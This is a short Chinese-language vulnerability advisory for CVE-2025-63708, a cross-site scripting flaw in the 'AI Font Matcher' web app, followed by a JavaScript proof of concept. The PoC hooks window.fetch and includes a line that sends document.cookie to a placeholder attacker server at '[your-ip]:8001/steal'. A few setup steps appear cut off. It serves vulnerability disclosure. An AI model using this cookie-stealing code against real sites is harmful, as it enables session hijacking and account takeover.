CVE ID: CVE-2025-63708
分配日期: 2025-12-11
问题类型: CWE-79(跨站脚本)
受影响产品: “AI Font Matcher”(发布于2025-10-10,nid=18425)
产品页面: https://www.sourcecodester.com/javascript/18425/ai-font-matcher-using-html-css-and-javascript-source-code.html
发现日期: 2025-10-11
研究人员: Dylan Davis
该应用程序在处理来自 webfonts 请求的数据时,未对字体家族名称进行清理。攻击者若控制或拦截该响应,可注入 JavaScript 并在页面上下文中执行,从而导致会话 cookie 被盗和账户接管。
该 PoC 通过挂钩 window.fetch 并返回受控的 Web 字体负载,展示代码执行能力。
poc.js)。webfonts 的 UI;观察 alert(1) 弹出。window.__origFetch = window.fetch;
window.fetch = async function(input, init) {
const url = (typeof input === 'string') ? input : input?.url;
if (url && url.includes('webfonts')) {
// 将 cookie 发送到你的服务器进行泄露
fetch('http://[your-ip]:8001/steal?cookie=' +
encodeURIComponent(document.cookie))
.catch(e => console.log('Exfil failed:', e));
return new Response(JSON.stringify({
kind: "webfonts#webfontList",
items: [{ family: "Playfair Display", category: "serif" }]
}), {
status: 200,
headers: {'Content-Type': 'application/json'}
});
}
return window.__origFetch.apply(this, arguments);
};